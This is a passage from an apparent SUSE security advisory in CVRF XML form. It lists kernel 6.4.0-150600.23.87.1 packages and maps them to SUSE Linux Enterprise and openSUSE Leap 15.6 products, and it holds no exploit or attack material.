      <FullProductName ProductID="kernel-default-livepatch-6.4.0-150600.23.87.1">kernel-default-livepatch-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-default-livepatch-devel-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-default-livepatch-devel-6.4.0-150600.23.87.1">kernel-default-livepatch-devel-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-default-optional-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-default-optional-6.4.0-150600.23.87.1">kernel-default-optional-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-default-vdso-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-default-vdso-6.4.0-150600.23.87.1">kernel-default-vdso-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-devel-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-devel-6.4.0-150600.23.87.1">kernel-devel-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-docs-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-docs-6.4.0-150600.23.87.1">kernel-docs-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-docs-html-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-docs-html-6.4.0-150600.23.87.1">kernel-docs-html-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-kvmsmall-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-kvmsmall-6.4.0-150600.23.87.1">kernel-kvmsmall-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-kvmsmall-devel-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-kvmsmall-devel-6.4.0-150600.23.87.1">kernel-kvmsmall-devel-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-kvmsmall-vdso-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-kvmsmall-vdso-6.4.0-150600.23.87.1">kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1">
      <FullProductName ProductID="kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1">kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-macros-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-macros-6.4.0-150600.23.87.1">kernel-macros-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-obs-build-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-obs-build-6.4.0-150600.23.87.1">kernel-obs-build-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-obs-qa-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-obs-qa-6.4.0-150600.23.87.1">kernel-obs-qa-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-source-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-source-6.4.0-150600.23.87.1">kernel-source-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-source-vanilla-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-source-vanilla-6.4.0-150600.23.87.1">kernel-source-vanilla-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-syms-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-syms-6.4.0-150600.23.87.1">kernel-syms-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-zfcpdump-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-zfcpdump-6.4.0-150600.23.87.1">kernel-zfcpdump-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kselftests-kmp-64kb-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kselftests-kmp-64kb-6.4.0-150600.23.87.1">kselftests-kmp-64kb-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kselftests-kmp-default-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kselftests-kmp-default-6.4.0-150600.23.87.1">kselftests-kmp-default-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="ocfs2-kmp-64kb-6.4.0-150600.23.87.1">
      <FullProductName ProductID="ocfs2-kmp-64kb-6.4.0-150600.23.87.1">ocfs2-kmp-64kb-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="ocfs2-kmp-default-6.4.0-150600.23.87.1">
      <FullProductName ProductID="ocfs2-kmp-default-6.4.0-150600.23.87.1">ocfs2-kmp-default-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="reiserfs-kmp-64kb-6.4.0-150600.23.87.1">
      <FullProductName ProductID="reiserfs-kmp-64kb-6.4.0-150600.23.87.1">reiserfs-kmp-64kb-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="reiserfs-kmp-default-6.4.0-150600.23.87.1">
      <FullProductName ProductID="reiserfs-kmp-default-6.4.0-150600.23.87.1">reiserfs-kmp-default-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Relationship ProductReference="kernel-default-livepatch-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Live Patching 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1">kernel-default-livepatch-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Live Patching 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-livepatch-devel-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Live Patching 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1">kernel-default-livepatch-devel-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Live Patching 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Live Patching 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1">kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1 as a component of SUSE Linux Enterprise Live Patching 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="cluster-md-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1">cluster-md-kmp-default-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="dlm-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1">dlm-kmp-default-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="gfs2-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1">gfs2-kmp-default-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-64kb-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1">kernel-64kb-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-64kb-devel-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1">kernel-64kb-devel-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1">kernel-default-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1">kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-devel-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1">kernel-default-devel-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-devel-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1">kernel-devel-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-docs-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1">kernel-docs-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-macros-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1">kernel-macros-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-obs-build-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1">kernel-obs-build-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-source-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1">kernel-source-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-syms-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1">kernel-syms-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-zfcpdump-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1">kernel-zfcpdump-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="ocfs2-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1">ocfs2-kmp-default-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="reiserfs-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1">reiserfs-kmp-default-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
    </Relationship>
    <Relationship ProductReference="cluster-md-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1">cluster-md-kmp-default-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dlm-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1">dlm-kmp-default-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="gfs2-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1">gfs2-kmp-default-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1">kernel-default-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1">kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1 as a component of SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-devel-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1">kernel-default-devel-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-devel-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1">kernel-devel-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-docs-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1">kernel-docs-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-macros-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1">kernel-macros-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-obs-build-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1">kernel-obs-build-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-source-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1">kernel-source-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-syms-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1">kernel-syms-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="ocfs2-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1">ocfs2-kmp-default-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="reiserfs-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1">reiserfs-kmp-default-6.4.0-150600.23.87.1 as a component of SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
    </Relationship>
    <Relationship ProductReference="cluster-md-kmp-64kb-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1">cluster-md-kmp-64kb-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="cluster-md-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1">cluster-md-kmp-default-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dlm-kmp-64kb-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1">dlm-kmp-64kb-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dlm-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1">dlm-kmp-default-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-allwinner-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1">dtb-allwinner-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-altera-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1">dtb-altera-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-amazon-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1">dtb-amazon-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-amd-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1">dtb-amd-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-amlogic-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1">dtb-amlogic-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-apm-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1">dtb-apm-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-apple-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1">dtb-apple-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-arm-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1">dtb-arm-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-broadcom-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1">dtb-broadcom-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-cavium-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1">dtb-cavium-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-exynos-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1">dtb-exynos-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-freescale-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1">dtb-freescale-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-hisilicon-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1">dtb-hisilicon-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-lg-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1">dtb-lg-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-marvell-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1">dtb-marvell-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-mediatek-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1">dtb-mediatek-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-nvidia-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1">dtb-nvidia-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-qcom-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1">dtb-qcom-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-renesas-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1">dtb-renesas-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-rockchip-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1">dtb-rockchip-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-socionext-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1">dtb-socionext-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="dtb-sprd-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1">dtb-sprd-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
